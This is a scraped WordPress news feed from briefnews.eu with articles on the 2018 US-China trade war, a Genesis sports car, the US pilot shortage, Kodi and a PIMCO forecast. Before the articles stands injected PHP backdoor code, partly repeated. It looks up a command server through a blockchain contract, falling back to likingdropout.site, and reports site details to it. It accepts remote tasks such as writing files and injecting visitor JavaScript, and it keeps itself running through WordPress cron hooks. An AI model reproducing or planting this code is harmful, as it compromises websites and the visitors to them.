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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); ‘fullblown – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 01 Aug 2018 05:57:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png ‘fullblown – Brief News https://briefnews.eu 32 32 Wall Street rebounds as US & China hold talks to prevent full-blown trade war https://briefnews.eu/wall-street-rebounds-as-us-china-hold-talks-to-prevent-full-blown-trade-war/ https://briefnews.eu/wall-street-rebounds-as-us-china-hold-talks-to-prevent-full-blown-trade-war/#respond Wed, 01 Aug 2018 05:57:10 +0000 http://briefnews.eu/wall-street-rebounds-as-us-china-hold-talks-to-prevent-full-blown-trade-war/ US stocks recovered on Tuesday following the publication of a report that Washington and Beijing are seeking to de-escalate the trade spat that could rock the global economy.

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All the three key US indices – the Nasdaq, Dow Jones and S&P – were trading in the green zone, all growing just shy of one percent. This happens as US Treasury Secretary Steven Mnuchin and Chinese Vice Premier Liu He hold private talks on ways to restart negotiations, Bloomberg reported. Mnuchin told CNBC last week that “there continue to be some quiet conversations” regarding China.

“It’s a technical reaction, as technology stocks have sold off quite sharply,” said Peter Cardillo, chief market economist at Spartan Capital Securities in New York, as quoted by Reuters. Both the S&P 500 and Nasdaq came into Tuesday’s session with three-day losing streaks. “If you have several days of declines, you have some bargain hunting coming in and that’s what is temporarily halting the fall.”

US tariffs of 25 percent on $ 34 billion of Chinese imports took effect on July 6. The Chinese government retaliated with duties on the same value of US imports, ranging from soybeans to cars, and has vowed to respond proportionately to any new US tariffs.

Shortly after that, President Donald Trump said the US could impose tariffs on more than $ 500 billion worth of Chinese goods, while his administration has prepared a new $ 200 billion list of Chinese products that could be levied with 10 percent tariffs.

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]]> https://briefnews.eu/wall-street-rebounds-as-us-china-hold-talks-to-prevent-full-blown-trade-war/feed/ 0 A full-blown trade war between America and China looks likely https://briefnews.eu/a-full-blown-trade-war-between-america-and-china-looks-likely/ https://briefnews.eu/a-full-blown-trade-war-between-america-and-china-looks-likely/#respond Thu, 21 Jun 2018 22:25:00 +0000 http://briefnews.eu/a-full-blown-trade-war-between-america-and-china-looks-likely/

IT IS becoming increasingly likely that the phoney trade war between America and China will develop into the real thing. On June 15th the Trump administration published two lists of Chinese products it plans to hit with tariffs of 25%, worth $ 50bn in 2018. The first will come into force on July 6th. The Chinese snapped back with their own list, laying out a retaliation of equal size. Then on June 18th President Donald Trump directed Robert Lighthizer, the United States Trade Representative (USTR), to draw up a further list of products worth $ 200bn that would face tariffs of 10%, and threatened yet another, covering an additional $ 200bn of goods, if the Chinese retaliated again. At least some of these tough words will probably turn into deeds. Both sides can expect to take casualties.

China regards the first round of American tariffs as a unilateral violation of global trading rules. It has lodged a complaint at the World Trade Organisation (WTO). But Mr Trump’s team maintains that China started…

]]> https://briefnews.eu/a-full-blown-trade-war-between-america-and-china-looks-likely/feed/ 0 Genesis Confirms It’s Working on a Full-Blown Sports Car with Help from Former BMW M Honcho https://briefnews.eu/genesis-confirms-its-working-on-a-full-blown-sports-car-with-help-from-former-bmw-m-honcho/ https://briefnews.eu/genesis-confirms-its-working-on-a-full-blown-sports-car-with-help-from-former-bmw-m-honcho/#respond Wed, 10 Jan 2018 01:48:47 +0000 http://briefnews.eu/genesis-confirms-its-working-on-a-full-blown-sports-car-with-help-from-former-bmw-m-honcho/ Hyundai N Vision 2025 Gran Turismo concept

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Genesis, the luxury brand spun off from Hyundai in 2015, so far has just two sedans in showrooms with a third on the way, although an ambitious plan to fill out the lineup with SUVs and a coupe by 2020 is underway. But did you know that Genesis was planning something even bigger—something like a halo sports car? What was an excited rumor fueled partially by Hyundai’s N Vision Gran Turismo design study (pictured above) has just been confirmed as a reality by Australian publication Wheels.

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Speaking with Genesis’s vice president of design, Luc Donckerwolke, about the sports car, Wheels garnered a “we are definitely doing it.” Furthermore, the automaker’s vice president of research and design, Woong-chul Yang, described the project as “something our brand needs at this time.” The R&D chief elaborated that such a vehicle would prioritize electrification and battery power over a big ol’ internal-combustion engine. Yang also noted that the car’s development likely will be spearheaded by Albert Biermann, the leader of Hyundai’s nascent N performance division and former head of BMW’s M division.

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So far the sports car’s ideation is just that, and both Donckerwolke and Yang told Wheels that the car hasn’t left the design stage yet. That means the car is probably years away from seeing the light of day. In the meantime, Genesis has its work cut out launching the new G70 sports sedan as well as several SUVs and a new sports coupe. No question, however: A halo sports car with an advanced powertrain would elevate the brand’s station.

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]]> https://briefnews.eu/genesis-confirms-its-working-on-a-full-blown-sports-car-with-help-from-former-bmw-m-honcho/feed/ 0 The pilot shortage is real and airlines must change before it becomes a full-blown crisis https://briefnews.eu/the-pilot-shortage-is-real-and-airlines-must-change-before-it-becomes-a-full-blown-crisis/ https://briefnews.eu/the-pilot-shortage-is-real-and-airlines-must-change-before-it-becomes-a-full-blown-crisis/#respond Thu, 20 Jul 2017 15:12:35 +0000 http://briefnews.eu/the-pilot-shortage-is-real-and-airlines-must-change-before-it-becomes-a-full-blown-crisis/ United Airlines pilots Boeing 777AP

Editor’s note: Patrick Smith is a commercial airline pilot who currently flies Boeing 757 and 767 aircraft. Smith is also a travel blogger and author of the book “Cockpit Confidential.

THE PILOT SHORTAGE is here, and it’s been making headlines. Last month, Horizon Air, the Seattle-based affiliate of Alaska Airlines and one of the country’s biggest regional carriers, announced it would be forced to reduce its busy summer schedule due to a dearth of pilots.

The shortage already caused Horizon to cancel more than 300 flights in June. Earlier this year, Republic Airways, a large U.S. regional carrier that flies on behalf of United, American, and Delta, filed for bankruptcy protection. It blamed the filing, in part, on a lack of qualified pilots. Other carriers have been canceling flights and mothballing aircraft as pilot recruitment departments scramble to fill classroom slots.

Yes, the shortage is real. It’s critical, however, to make it clear which sectors of the aviation industry we’re talking about. First, we are looking specifically at the U.S. airline industry. Civilian pilots in the United States are responsible for securing their own FAA credentials, and for logging hundreds, or even thousands, of hours of flight time before applying at an airline. It’s a long, slow, and very expensive process. Other countries often recruit pilots differently, with a growing reliance on so-called “ab-initio” programs, whereby young candidates are chosen from scratch, with no prior experience, and are groomed from the ground-up, so to speak, in a tightly controlled regimen that puts them in the cockpit of a jetliner very quickly. These programs are ultra-competitive, drawing hundreds of applicants for each available slot.

Delta AirplanesREUTERS/Tami ChappellEven more important, we need to draw a sharp divide between the major carriers and their regional affiliates. The major carriers, also referred to as “legacy” carriers, everyone is pretty familiar with — American, United, Delta, Southwest, JetBlue, et al. There is no pilot shortage at these companies, and unless something changes drastically they will continue to have a surplus of highly qualified candidates to choose from. They are able to cull from the top ranks of the regionals, as well as from the military and corporate aviation pools. Even amidst an ongoing wave of retirements, a steady supply of experienced crews is unlikely to be depleted.

At the regional airlines, it’s a different story. And by “regional” we are referring to the numerous subcontractors who operate smaller jets and turboprops on the majors’ behalf: those myriad “Connection” and “Express” companies, whose actual identities are usually concealed beneath the liveries of whichever major they are aligned with. United Express, Delta Connection, American Eagle, and so on. For civilian pilots, the typical career progression includes a substantial amount of tenure at this level before, assuming he or she is fortunate enough, progressing to a major. And it’s here where the problem is.

How it came to this is both a long and short story. The short story is that pay at the regionals is terrible and working conditions are harsh. This has driven thousands of pilots out of the industry, and/or has discouraged countless others from pursuing an aviation career in the first place. Becoming a licensed commercial pilot, to the point where one is eligible to apply for an airline job — any airline job — requires a huge amount of time and money. It can take years, and the average pilots sinks well over a hundred thousand dollars into his or her flight training and education. Salaries at the regionals, meanwhile, have traditionally started low as $ 20,000 a year, and have topped out at under six figures. Schedules are demanding and benefits paltry; the relationship between management and the workers is often hostile. On top of all that, the regional sector is highly unstable. These carriers always seem to be coming or going, shrinking or shedding planes, changing their names and realigning themselves with different majors.

American Airlines Airbus A319American AirlinesBut this is nothing new. Pay and working conditions at these companies have always been substandard. Yet filling jobs has seldom been a problem, so what gives? Well, what’s different is that the regional sector has grown so large. Today, regional jets account for an astonishing half — 53 percent was the last number I saw — of all domestic departures in the United States. As recently as twenty years ago it was somewhere around fifteen percent. In those days, pilots saw a job with a regional as a temporary inconvenience — paying one’s dues. It was a stepping stone toward a more lucrative position with a major. Pilots are now realizing that a job at a regional could easily mean an entire career at a regional. Thus, a diminishing number have been willing to commit the time and money to their education and training when the return on investment is somewhere between unpredictable and financially ruinous. An aspiring aviator has to ask, is it worth sinking $ 100,000 or more into one’s primary training, plus the time it will take to build the necessary number of flight hours, plus the cost of a college education, only to spend years toiling at poverty-level wages, with at best a marginal shot at moving on to a major? For many, the answer is no.

In the meantime, the FAA has enacted tougher hiring standards for entry-level pilots. Over the past two decades, as the regional sector grew and grew, thousands of new jobs were created. To fill these slots, airlines sharply lowered their experience and flight time minimums. Suddenly, pilots were being taken on with as little as 350 hours of total time, assigned to the first officer’s seat of sophisticated regional jets. Then came a rash of accidents, including the Colgan Air (Continental Connection) disaster outside Buffalo in 2009. Regulators began taking a closer look at hiring practices, eventually passing legislation mandating higher flight time totals and additional certification requirements for new-hires.

Some airlines blame the shortage at least partly on these tougher rules. Technically they’re right, but really all the new regulations have done is returning things to historical norms. My first job with a regional — “commuters” we called them in those days — was in 1990. Competitive applicants at the time had between 1,500 and 2,000 hours, and most of us had an FAA Airline Transport Pilot certificate as well. That’s more or less what the FAA requires today. The difference, of course, is that there are far more jobs to fill.

ExpressJet Bombardier CRJ Delta connectionFlickrThings are beginning to change, if slowly. To their credit, many regionals have started upping their salaries and improving benefits. The cost structures of these carriers, whose existence is primarily to allow the majors to outsource flying on the cheap, limits how much they can lavish on their employees, but if they want to stay in the game, they frankly have little choice. New-hires at companies like Endeavor Air (a Delta affiliate) and PSA (American), for example, can now make first-year salaries in the $ 70,000-plus range. That’s around three times what these pilots would have been making in years past. Some companies are offering signing bonuses of several thousand dollars, and work rules too are getting better. Air Wisconsin, a United partner and one of the nation’s oldest regionals, says that new-hires can now earn up to $ 57,000 in sign-on bonuses. It promises earnings of between $ 260,000 and $ 317,000, including salary, bonuses, and what it calls “elected benefits,” over the first three years of employment. Numbers like that are unprecedented.

For those considering a piloting career, the situation is looking better. The problem for the industry, though, is the lag time. For a pilot just learning to fly, any cockpit job is still a long way off — probably years away. So while the mechanisms are falling into place to curtail a full-flown crisis, the shortage is going to be with us for a while.

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]]> https://briefnews.eu/the-pilot-shortage-is-real-and-airlines-must-change-before-it-becomes-a-full-blown-crisis/feed/ 0 Kodi: Open source TV app inspires full-blown copyright panic in the UK https://briefnews.eu/kodi-open-source-tv-app-inspires-full-blown-copyright-panic-in-the-uk/ https://briefnews.eu/kodi-open-source-tv-app-inspires-full-blown-copyright-panic-in-the-uk/#respond Thu, 04 May 2017 12:48:07 +0000 http://briefnews.eu/kodi-open-source-tv-app-inspires-full-blown-copyright-panic-in-the-uk/

You know a technology’s gone mainstream when the tabloids start yelling about it. This year the Sun, the Mirror, the Express, and the Daily Star have run splashes ranging from “Kodi Crackdown” through “Kodi Killers” to “Kodi TOTAL BAN!”. It’s not that they’ve stumbled on an underground hack scene; the stories have been briefed by copyright owners and law enforcement agencies. So what is Kodi, and why is it such a threat to The Man?

Kodi is an open source media player program that started life as XBMC (Xbox Media Center). Today, running on a variety of devices, it provides a friendly interface to play video and audio content, whether from static files, torrents, or a live stream.

In 2014, Nathan Betzen, a leading figure in XBMC’s community, announced that the software was changing its name to Kodi, a registered trademark. “Users have been fooled into wasting money buying boxes running hacked and typically broken versions of XBMC,” explains Betzen, who’s known online as natethomas. Now at least these couldn’t be sold under the Kodi name.

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]]> https://briefnews.eu/kodi-open-source-tv-app-inspires-full-blown-copyright-panic-in-the-uk/feed/ 0 PIMCO: The odds of a ‘full-blown trade war’ are lower than they were 4 months ago https://briefnews.eu/pimco-the-odds-of-a-full-blown-trade-war-are-lower-than-they-were-4-months-ago/ https://briefnews.eu/pimco-the-odds-of-a-full-blown-trade-war-are-lower-than-they-were-4-months-ago/#respond Sun, 26 Mar 2017 10:01:04 +0000 http://briefnews.eu/pimco-the-odds-of-a-full-blown-trade-war-are-lower-than-they-were-4-months-ago/ The offices of Pacific Investment Management Co (PIMCO) are shown in Newport Beach, California August 4, 2015. REUTERS/Mike BlakeThomson Reuters

Pimco, the investment-management firm, has released its latest cyclical outlook for the global economy during the next 12 months.

The firm’s outlook, which is released three times per year, “analyzes business cycle dynamics across major developed and emerging market economies with an eye toward identifying potential changes in monetary and fiscal policies, market risk premiums and relative valuations that drive portfolio positioning.”

In “Cyclical Outlook: Scaling Back,” Joachim Fels and Andrew Balls scaled back the firm’s expectation on four things:

  • The risk of a full-blown trade war.
  • A major political “accident” in China.
  • Nationalist and anti-European victories in coming elections in France and Germany.
  • Near-term inflationary pressures in the US.

Fels and Balls added that they were more bullish on gross-domestic-product growth than they were when they wrote the most recent cyclical.

“While back in December we forecast 2017 world GDP growth averaging 2.5%–3.0%, we now expect growth to be in a 2.75%– 3.25% range this year, up from 2.6% in 2016,” they said.

Below are the slides from their presentation to clients:

Postelection euphoria has calmed down a bit.

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There’s still some risk out there — but not too much.

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The global economy is projected to grow 3.0% over the next 12 months.

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